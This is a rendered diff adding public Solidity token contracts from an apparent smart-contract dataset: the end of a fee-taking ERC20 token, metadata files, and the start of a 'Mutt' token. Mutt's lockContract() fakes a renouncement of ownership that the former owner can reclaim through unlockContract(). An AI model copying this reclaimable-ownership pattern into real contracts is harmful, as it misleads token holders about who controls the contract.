require(to != address(0), "ERC20: transfer to the zero address");
|
707 |
+
|
708 |
+
if (amount == 0) {
|
709 |
+
super._transfer(from, to, 0);
|
710 |
+
return;
|
711 |
+
}
|
712 |
+
|
713 |
+
if (
|
714 |
+
from != owner() &&
|
715 |
+
to != owner() &&
|
716 |
+
to != address(0) &&
|
717 |
+
to != address(0xdead) &&
|
718 |
+
!swapping
|
719 |
+
) {
|
720 |
+
if (!tradingActive) {
|
721 |
+
require(
|
722 |
+
_isExcludedFromFees[from] || _isExcludedFromFees[to],
|
723 |
+
"Trading is not active."
|
724 |
+
);
|
725 |
+
}
|
726 |
+
|
727 |
+
//when buy
|
728 |
+
if (
|
729 |
+
automatedMarketMakerPairs[from] &&
|
730 |
+
!_isExcludedMaxTransactionAmount[to]
|
731 |
+
) {
|
732 |
+
require(
|
733 |
+
amount <= maxTransactionAmount,
|
734 |
+
"Buy transfer amount exceeds the maxTransactionAmount."
|
735 |
+
);
|
736 |
+
require(
|
737 |
+
amount + balanceOf(to) <= maxWallet,
|
738 |
+
"Max wallet exceeded"
|
739 |
+
);
|
740 |
+
}
|
741 |
+
//when sell
|
742 |
+
else if (
|
743 |
+
automatedMarketMakerPairs[to] &&
|
744 |
+
!_isExcludedMaxTransactionAmount[from]
|
745 |
+
) {
|
746 |
+
require(
|
747 |
+
amount <= maxTransactionAmount,
|
748 |
+
"Sell transfer amount exceeds the maxTransactionAmount."
|
749 |
+
);
|
750 |
+
}
|
751 |
+
|
752 |
+
else if (!_isExcludedMaxTransactionAmount[to]) {
|
753 |
+
require(
|
754 |
+
amount + balanceOf(to) <= maxWallet,
|
755 |
+
"Max wallet exceeded"
|
756 |
+
);
|
757 |
+
}
|
758 |
+
}
|
759 |
+
|
760 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
761 |
+
|
762 |
+
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
|
763 |
+
|
764 |
+
if (
|
765 |
+
canSwap &&
|
766 |
+
swapEnabled &&
|
767 |
+
!swapping &&
|
768 |
+
!automatedMarketMakerPairs[from] &&
|
769 |
+
!_isExcludedFromFees[from] &&
|
770 |
+
!_isExcludedFromFees[to]
|
771 |
+
) {
|
772 |
+
swapping = true;
|
773 |
+
|
774 |
+
swapBack();
|
775 |
+
|
776 |
+
swapping = false;
|
777 |
+
}
|
778 |
+
|
779 |
+
bool takeFee = !swapping;
|
780 |
+
|
781 |
+
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
|
782 |
+
takeFee = false;
|
783 |
+
}
|
784 |
+
|
785 |
+
uint256 fees = 0;
|
786 |
+
|
787 |
+
if (takeFee) {
|
788 |
+
// on sell
|
789 |
+
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
|
790 |
+
fees = amount.mul(sellTotalFees).div(100);
|
791 |
+
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
|
792 |
+
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
|
793 |
+
}
|
794 |
+
// on buy
|
795 |
+
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
|
796 |
+
fees = amount.mul(buyTotalFees).div(100);
|
797 |
+
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
|
798 |
+
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
|
799 |
+
}
|
800 |
+
|
801 |
+
if (fees > 0) {
|
802 |
+
super._transfer(from, address(this), fees);
|
803 |
+
}
|
804 |
+
|
805 |
+
amount -= fees;
|
806 |
+
}
|
807 |
+
|
808 |
+
super._transfer(from, to, amount);
|
809 |
+
sellTotalFees = previousFee;
|
810 |
+
|
811 |
+
}
|
812 |
+
|
813 |
+
function swapTokensForEth(uint256 tokenAmount) private {
|
814 |
+
|
815 |
+
address[] memory path = new address[](2);
|
816 |
+
path[0] = address(this);
|
817 |
+
path[1] = uniswapV2Router.WETH();
|
818 |
+
|
819 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
820 |
+
|
821 |
+
// make the swap
|
822 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
823 |
+
tokenAmount,
|
824 |
+
0,
|
825 |
+
path,
|
826 |
+
address(this),
|
827 |
+
block.timestamp
|
828 |
+
);
|
829 |
+
}
|
830 |
+
|
831 |
+
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
|
832 |
+
|
833 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
834 |
+
|
835 |
+
uniswapV2Router.addLiquidityETH{value: ethAmount}(
|
836 |
+
address(this),
|
837 |
+
tokenAmount,
|
838 |
+
0,
|
839 |
+
0,
|
840 |
+
deadAddress,
|
841 |
+
block.timestamp
|
842 |
+
);
|
843 |
+
}
|
844 |
+
|
845 |
+
function swapBack() private {
|
846 |
+
uint256 contractBalance = balanceOf(address(this));
|
847 |
+
uint256 totalTokensToSwap = tokensForLiquidity +
|
848 |
+
tokensForMarketing;
|
849 |
+
bool success;
|
850 |
+
|
851 |
+
if (contractBalance == 0 || totalTokensToSwap == 0) {
|
852 |
+
return;
|
853 |
+
}
|
854 |
+
|
855 |
+
if (contractBalance > swapTokensAtAmount * 20) {
|
856 |
+
contractBalance = swapTokensAtAmount * 20;
|
857 |
+
}
|
858 |
+
|
859 |
+
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
|
860 |
+
totalTokensToSwap /
|
861 |
+
2;
|
862 |
+
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
|
863 |
+
|
864 |
+
uint256 initialETHBalance = address(this).balance;
|
865 |
+
|
866 |
+
swapTokensForEth(amountToSwapForETH);
|
867 |
+
|
868 |
+
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
|
869 |
+
|
870 |
+
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
|
871 |
+
totalTokensToSwap
|
872 |
+
);
|
873 |
+
|
874 |
+
uint256 ethForLiquidity = ethBalance - ethForMarketing;
|
875 |
+
|
876 |
+
tokensForLiquidity = 0;
|
877 |
+
tokensForMarketing = 0;
|
878 |
+
|
879 |
+
if (liquidityTokens > 0 && ethForLiquidity > 0) {
|
880 |
+
addLiquidity(liquidityTokens, ethForLiquidity);
|
881 |
+
emit SwapAndLiquify(
|
882 |
+
amountToSwapForETH,
|
883 |
+
ethForLiquidity,
|
884 |
+
tokensForLiquidity
|
885 |
+
);
|
886 |
+
}
|
887 |
+
|
888 |
+
(success, ) = address(marketingWallet).call{value: address(this).balance}("");
|
889 |
+
}
|
890 |
+
}
|
organized_contracts/00/00046b60801996f2432b75493587cf0635c238d9b2d7f59e20b5967ed701f4c6/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"CharacterGPT","CompilerVersion":"v0.8.16+commit.07a7930e","Runs":200,"OptimizationUsed":true,"BytecodeHash":"00046b60801996f2432b75493587cf0635c238d9b2d7f59e20b5967ed701f4c6"}
|
organized_contracts/00/0004d84a4049e95cd4d0a9551c3153b5a1a2827c50f2f3bb2cdb0c8396e07712/contract.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|
organized_contracts/00/0004d84a4049e95cd4d0a9551c3153b5a1a2827c50f2f3bb2cdb0c8396e07712/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"BaseRewardPool4626","CompilerVersion":"v0.6.12+commit.27d51765","Runs":200,"OptimizationUsed":true,"BytecodeHash":"0004d84a4049e95cd4d0a9551c3153b5a1a2827c50f2f3bb2cdb0c8396e07712"}
|
organized_contracts/00/00058603e57d90f2a3b70bb2828be60bf0128a8b7007434e6f40e4812903f28c/main.sol
ADDED
@@ -0,0 +1,688 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
// SPDX-License-Identifier: MIT
|
4 |
+
|
5 |
+
pragma solidity 0.8.19;
|
6 |
+
|
7 |
+
abstract contract Context {
|
8 |
+
function _msgSender() internal view virtual returns (address) {
|
9 |
+
return msg.sender;
|
10 |
+
}
|
11 |
+
|
12 |
+
function _msgData() internal view virtual returns (bytes calldata) {
|
13 |
+
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
|
14 |
+
return msg.data;
|
15 |
+
}
|
16 |
+
}
|
17 |
+
|
18 |
+
interface IERC20 {
|
19 |
+
/**
|
20 |
+
* @dev Returns the amount of tokens in existence.
|
21 |
+
*/
|
22 |
+
function totalSupply() external view returns (uint256);
|
23 |
+
|
24 |
+
/**
|
25 |
+
* @dev Returns the amount of tokens owned by `account`.
|
26 |
+
*/
|
27 |
+
function balanceOf(address account) external view returns (uint256);
|
28 |
+
|
29 |
+
/**
|
30 |
+
* @dev Moves `amount` tokens from the caller's account to `recipient`.
|
31 |
+
*
|
32 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
33 |
+
*
|
34 |
+
* Emits a {Transfer} event. C U ON THE MOON
|
35 |
+
*/
|
36 |
+
function transfer(address recipient, uint256 amount)
|
37 |
+
external
|
38 |
+
returns (bool);
|
39 |
+
|
40 |
+
/**
|
41 |
+
* @dev Returns the remaining number of tokens that `spender` will be
|
42 |
+
* allowed to spend on behalf of `owner` through {transferFrom}. This is
|
43 |
+
* zero by default.
|
44 |
+
*
|
45 |
+
* This value changes when {approve} or {transferFrom} are called.
|
46 |
+
*/
|
47 |
+
function allowance(address owner, address spender)
|
48 |
+
external
|
49 |
+
view
|
50 |
+
returns (uint256);
|
51 |
+
|
52 |
+
/**
|
53 |
+
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
|
54 |
+
*
|
55 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
56 |
+
*
|
57 |
+
* IMPORTANT: Beware that changing an allowance with this method brings the risk
|
58 |
+
* that someone may use both the old and the new allowance by unfortunate
|
59 |
+
* transaction ordering. One possible solution to mitigate this race
|
60 |
+
* condition is to first reduce the spender's allowance to 0 and set the
|
61 |
+
* desired value afterwards:
|
62 |
+
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
|
63 |
+
*
|
64 |
+
* Emits an {Approval} event.
|
65 |
+
*/
|
66 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
67 |
+
|
68 |
+
/**
|
69 |
+
* @dev Moves `amount` tokens from `sender` to `recipient` using the
|
70 |
+
* allowance mechanism. `amount` is then deducted from the caller's
|
71 |
+
* allowance.
|
72 |
+
*
|
73 |
+
* Returns a boolean value indicating whether the operation succeeded.
|
74 |
+
*
|
75 |
+
* Emits a {Transfer} event.
|
76 |
+
*/
|
77 |
+
function transferFrom(
|
78 |
+
address sender,
|
79 |
+
address recipient,
|
80 |
+
uint256 amount
|
81 |
+
) external returns (bool);
|
82 |
+
|
83 |
+
/**
|
84 |
+
* @dev Emitted when `value` tokens are moved from one account (`from`) to
|
85 |
+
* another (`to`).
|
86 |
+
*
|
87 |
+
* Note that `value` may be zero.
|
88 |
+
*/
|
89 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
90 |
+
|
91 |
+
/**
|
92 |
+
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
|
93 |
+
* a call to {approve}. `value` is the new allowance.
|
94 |
+
*/
|
95 |
+
event Approval(
|
96 |
+
address indexed owner,
|
97 |
+
address indexed spender,
|
98 |
+
uint256 value
|
99 |
+
);
|
100 |
+
}
|
101 |
+
|
102 |
+
interface IERC20Metadata is IERC20 {
|
103 |
+
/**
|
104 |
+
* @dev Returns the name of the token.
|
105 |
+
*/
|
106 |
+
function name() external view returns (string memory);
|
107 |
+
|
108 |
+
/**
|
109 |
+
* @dev Returns the symbol of the token.
|
110 |
+
*/
|
111 |
+
function symbol() external view returns (string memory);
|
112 |
+
|
113 |
+
/**
|
114 |
+
* @dev Returns the decimals places of the token.
|
115 |
+
*/
|
116 |
+
function decimals() external view returns (uint8);
|
117 |
+
}
|
118 |
+
|
119 |
+
contract ERC20 is Context, IERC20, IERC20Metadata {
|
120 |
+
mapping(address => uint256) internal _balances;
|
121 |
+
|
122 |
+
mapping(address => mapping(address => uint256)) private _allowances;
|
123 |
+
|
124 |
+
uint256 internal _totalSupply;
|
125 |
+
|
126 |
+
string private _name;
|
127 |
+
string private _symbol;
|
128 |
+
|
129 |
+
constructor(string memory name_, string memory symbol_) {
|
130 |
+
_name = name_;
|
131 |
+
_symbol = symbol_;
|
132 |
+
}
|
133 |
+
|
134 |
+
function name() public view virtual override returns (string memory) {
|
135 |
+
return _name;
|
136 |
+
}
|
137 |
+
|
138 |
+
function symbol() public view virtual override returns (string memory) {
|
139 |
+
return _symbol;
|
140 |
+
}
|
141 |
+
|
142 |
+
function decimals() public view virtual override returns (uint8) {
|
143 |
+
return 18;
|
144 |
+
}
|
145 |
+
|
146 |
+
function totalSupply() public view virtual override returns (uint256) {
|
147 |
+
return _totalSupply;
|
148 |
+
}
|
149 |
+
|
150 |
+
function balanceOf(address account)
|
151 |
+
public
|
152 |
+
view
|
153 |
+
virtual
|
154 |
+
override
|
155 |
+
returns (uint256)
|
156 |
+
{
|
157 |
+
return _balances[account];
|
158 |
+
}
|
159 |
+
|
160 |
+
function transfer(address recipient, uint256 amount)
|
161 |
+
public
|
162 |
+
virtual
|
163 |
+
override
|
164 |
+
returns (bool)
|
165 |
+
{
|
166 |
+
_transfer(_msgSender(), recipient, amount);
|
167 |
+
return true;
|
168 |
+
}
|
169 |
+
|
170 |
+
function allowance(address owner, address spender)
|
171 |
+
public
|
172 |
+
view
|
173 |
+
virtual
|
174 |
+
override
|
175 |
+
returns (uint256)
|
176 |
+
{
|
177 |
+
return _allowances[owner][spender];
|
178 |
+
}
|
179 |
+
|
180 |
+
function approve(address spender, uint256 amount)
|
181 |
+
public
|
182 |
+
virtual
|
183 |
+
override
|
184 |
+
returns (bool)
|
185 |
+
{
|
186 |
+
_approve(_msgSender(), spender, amount);
|
187 |
+
return true;
|
188 |
+
}
|
189 |
+
|
190 |
+
function transferFrom(
|
191 |
+
address sender,
|
192 |
+
address recipient,
|
193 |
+
uint256 amount
|
194 |
+
) public virtual override returns (bool) {
|
195 |
+
_transfer(sender, recipient, amount);
|
196 |
+
|
197 |
+
uint256 currentAllowance = _allowances[sender][_msgSender()];
|
198 |
+
if(currentAllowance != type(uint256).max) {
|
199 |
+
require(
|
200 |
+
currentAllowance >= amount,
|
201 |
+
"ERC20: transfer amount exceeds allowance"
|
202 |
+
);
|
203 |
+
unchecked {
|
204 |
+
_approve(sender, _msgSender(), currentAllowance - amount);
|
205 |
+
}
|
206 |
+
}
|
207 |
+
return true;
|
208 |
+
}
|
209 |
+
|
210 |
+
function increaseAllowance(address spender, uint256 addedValue)
|
211 |
+
public
|
212 |
+
virtual
|
213 |
+
returns (bool)
|
214 |
+
{
|
215 |
+
_approve(
|
216 |
+
_msgSender(),
|
217 |
+
spender,
|
218 |
+
_allowances[_msgSender()][spender] + addedValue
|
219 |
+
);
|
220 |
+
return true;
|
221 |
+
}
|
222 |
+
|
223 |
+
function decreaseAllowance(address spender, uint256 subtractedValue)
|
224 |
+
public
|
225 |
+
virtual
|
226 |
+
returns (bool)
|
227 |
+
{
|
228 |
+
uint256 currentAllowance = _allowances[_msgSender()][spender];
|
229 |
+
require(
|
230 |
+
currentAllowance >= subtractedValue,
|
231 |
+
"ERC20: decreased allowance below zero"
|
232 |
+
);
|
233 |
+
unchecked {
|
234 |
+
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
|
235 |
+
}
|
236 |
+
|
237 |
+
return true;
|
238 |
+
}
|
239 |
+
|
240 |
+
function _transfer(
|
241 |
+
address sender,
|
242 |
+
address recipient,
|
243 |
+
uint256 amount
|
244 |
+
) internal virtual {
|
245 |
+
require(sender != address(0), "ERC20: transfer from the zero address");
|
246 |
+
require(recipient != address(0), "ERC20: transfer to the zero address");
|
247 |
+
|
248 |
+
uint256 senderBalance = _balances[sender];
|
249 |
+
require(
|
250 |
+
senderBalance >= amount,
|
251 |
+
"ERC20: transfer amount exceeds balance"
|
252 |
+
);
|
253 |
+
unchecked {
|
254 |
+
_balances[sender] = senderBalance - amount;
|
255 |
+
}
|
256 |
+
_balances[recipient] += amount;
|
257 |
+
|
258 |
+
emit Transfer(sender, recipient, amount);
|
259 |
+
}
|
260 |
+
|
261 |
+
function _approve(
|
262 |
+
address owner,
|
263 |
+
address spender,
|
264 |
+
uint256 amount
|
265 |
+
) internal virtual {
|
266 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
267 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
268 |
+
|
269 |
+
_allowances[owner][spender] = amount;
|
270 |
+
emit Approval(owner, spender, amount);
|
271 |
+
}
|
272 |
+
}
|
273 |
+
|
274 |
+
contract Ownable is Context {
|
275 |
+
address private _owner;
|
276 |
+
uint256 public unlocksAt;
|
277 |
+
address public locker;
|
278 |
+
|
279 |
+
event OwnershipTransferred(
|
280 |
+
address indexed previousOwner,
|
281 |
+
address indexed newOwner
|
282 |
+
);
|
283 |
+
|
284 |
+
constructor() {
|
285 |
+
address msgSender = _msgSender();
|
286 |
+
_owner = msgSender;
|
287 |
+
emit OwnershipTransferred(address(0), msgSender);
|
288 |
+
}
|
289 |
+
|
290 |
+
function owner() public view returns (address) {
|
291 |
+
return _owner;
|
292 |
+
}
|
293 |
+
|
294 |
+
modifier onlyOwner() {
|
295 |
+
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
296 |
+
_;
|
297 |
+
}
|
298 |
+
|
299 |
+
function renounceOwnership() public virtual onlyOwner {
|
300 |
+
emit OwnershipTransferred(_owner, address(0));
|
301 |
+
_owner = address(0);
|
302 |
+
}
|
303 |
+
|
304 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
305 |
+
require(
|
306 |
+
newOwner != address(0),
|
307 |
+
"Ownable: new owner is the zero address"
|
308 |
+
);
|
309 |
+
emit OwnershipTransferred(_owner, newOwner);
|
310 |
+
_owner = newOwner;
|
311 |
+
}
|
312 |
+
|
313 |
+
function lockContract(uint256 _days) external onlyOwner {
|
314 |
+
require(locker == address(0), "Contract already locked");
|
315 |
+
require(_days > 0, "No lock period specified");
|
316 |
+
unlocksAt = block.timestamp + (_days * 1 days);
|
317 |
+
locker = owner();
|
318 |
+
renounceOwnership();
|
319 |
+
}
|
320 |
+
|
321 |
+
function unlockContract() external {
|
322 |
+
require(locker != address(0) && msg.sender == locker, "Caller is not authorized");
|
323 |
+
require(unlocksAt <= block.timestamp, "Contract still locked");
|
324 |
+
emit OwnershipTransferred(address(0), locker);
|
325 |
+
_owner = locker;
|
326 |
+
locker = address(0);
|
327 |
+
unlocksAt = 0;
|
328 |
+
}
|
329 |
+
}
|
330 |
+
|
331 |
+
interface ILpPair {
|
332 |
+
function sync() external;
|
333 |
+
}
|
334 |
+
|
335 |
+
interface IDexRouter {
|
336 |
+
function factory() external pure returns (address);
|
337 |
+
|
338 |
+
function WETH() external pure returns (address);
|
339 |
+
|
340 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
341 |
+
uint256 amountIn,
|
342 |
+
uint256 amountOutMin,
|
343 |
+
address[] calldata path,
|
344 |
+
address to,
|
345 |
+
uint256 deadline
|
346 |
+
) external;
|
347 |
+
|
348 |
+
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
349 |
+
uint256 amountOutMin,
|
350 |
+
address[] calldata path,
|
351 |
+
address to,
|
352 |
+
uint256 deadline
|
353 |
+
) external payable;
|
354 |
+
|
355 |
+
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
356 |
+
external
|
357 |
+
payable
|
358 |
+
returns (uint[] memory amounts);
|
359 |
+
|
360 |
+
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
361 |
+
external
|
362 |
+
payable
|
363 |
+
returns (uint[] memory amounts);
|
364 |
+
|
365 |
+
function addLiquidityETH(
|
366 |
+
address token,
|
367 |
+
uint256 amountTokenDesired,
|
368 |
+
uint256 amountTokenMin,
|
369 |
+
uint256 amountETHMin,
|
370 |
+
address to,
|
371 |
+
uint256 deadline
|
372 |
+
)
|
373 |
+
external
|
374 |
+
payable
|
375 |
+
returns (
|
376 |
+
uint256 amountToken,
|
377 |
+
uint256 amountETH,
|
378 |
+
uint256 liquidity
|
379 |
+
);
|
380 |
+
|
381 |
+
function getAmountsOut(uint256 amountIn, address[] calldata path)
|
382 |
+
external
|
383 |
+
view
|
384 |
+
returns (uint256[] memory amounts);
|
385 |
+
}
|
386 |
+
|
387 |
+
interface IDexFactory {
|
388 |
+
function createPair(address tokenA, address tokenB)
|
389 |
+
external
|
390 |
+
returns (address pair);
|
391 |
+
}
|
392 |
+
|
393 |
+
contract Mutt is ERC20, Ownable {
|
394 |
+
IDexRouter public dexRouter;
|
395 |
+
address public lpPair;
|
396 |
+
|
397 |
+
uint8 constant _decimals = 9;
|
398 |
+
uint256 constant _decimalFactor = 10 ** _decimals;
|
399 |
+
|
400 |
+
bool private swapping;
|
401 |
+
uint256 public swapTokensAtAmount;
|
402 |
+
|
403 |
+
address public taxAddress;
|
404 |
+
address public lpAddress;
|
405 |
+
address public teamAddress;
|
406 |
+
|
407 |
+
bool public swapEnabled = true;
|
408 |
+
|
409 |
+
bool public marketingBuyFees = true;
|
410 |
+
bool public liquidityBuyFees = true;
|
411 |
+
bool public teamBuyFees = true;
|
412 |
+
bool public marketingSellFees = true;
|
413 |
+
bool public liquiditySellFees = true;
|
414 |
+
bool public teamSellFees = true;
|
415 |
+
uint256 targetLiquidity = 10;
|
416 |
+
uint256 targetLiquidityDenominator = 100;
|
417 |
+
uint256 public maxWalletSize;
|
418 |
+
|
419 |
+
uint256 public tradingActiveTime;
|
420 |
+
|
421 |
+
mapping(address => bool) private _isExcludedFromFees;
|
422 |
+
mapping(address => bool) public pairs;
|
423 |
+
|
424 |
+
event SetPair(address indexed pair, bool indexed value);
|
425 |
+
event ExcludeFromFees(address indexed account, bool isExcluded);
|
426 |
+
event TargetLiquiditySet(uint256 percent);
|
427 |
+
|
428 |
+
constructor(address newOwner, address marketing, address team) ERC20("Mutt", "MUTT") payable {
|
429 |
+
// initialize router
|
430 |
+
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
|
431 |
+
dexRouter = IDexRouter(routerAddress);
|
432 |
+
|
433 |
+
_approve(newOwner, routerAddress, type(uint256).max);
|
434 |
+
_approve(address(this), routerAddress, type(uint256).max);
|
435 |
+
|
436 |
+
uint256 totalSupply = 1_000_000_000_000 * _decimalFactor;
|
437 |
+
maxWalletSize = totalSupply / 50;
|
438 |
+
|
439 |
+
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05 %
|
440 |
+
|
441 |
+
taxAddress = marketing;
|
442 |
+
teamAddress = team;
|
443 |
+
lpAddress = address(0xdead);
|
444 |
+
|
445 |
+
excludeFromFees(newOwner, true);
|
446 |
+
excludeFromFees(address(this), true);
|
447 |
+
excludeFromFees(address(0xdead), true);
|
448 |
+
|
449 |
+
_balances[address(this)] = totalSupply;
|
450 |
+
_totalSupply = totalSupply;
|
451 |
+
emit Transfer(address(0), address(this), totalSupply);
|
452 |
+
|
453 |
+
transferOwnership(msg.sender);
|
454 |
+
}
|
455 |
+
|
456 |
+
receive() external payable {}
|
457 |
+
|
458 |
+
function decimals() public pure override returns (uint8) {
|
459 |
+
return 9;
|
460 |
+
}
|
461 |
+
|
462 |
+
function toggleSwap() external onlyOwner {
|
463 |
+
swapEnabled = !swapEnabled;
|
464 |
+
}
|
465 |
+
|
466 |
+
function setPair(address pair, bool value) external onlyOwner {
|
467 |
+
require(pair != lpPair,"The pair cannot be removed from pairs");
|
468 |
+
|
469 |
+
pairs[pair] = value;
|
470 |
+
emit SetPair(pair, value);
|
471 |
+
}
|
472 |
+
|
473 |
+
function toggleMarketingFees(bool sellFee) external onlyOwner {
|
474 |
+
if(sellFee)
|
475 |
+
marketingSellFees = !marketingSellFees;
|
476 |
+
else
|
477 |
+
marketingBuyFees = !marketingBuyFees;
|
478 |
+
}
|
479 |
+
|
480 |
+
function toggleLiquidityFees(bool sellFee) external onlyOwner {
|
481 |
+
if(sellFee)
|
482 |
+
liquiditySellFees = !liquiditySellFees;
|
483 |
+
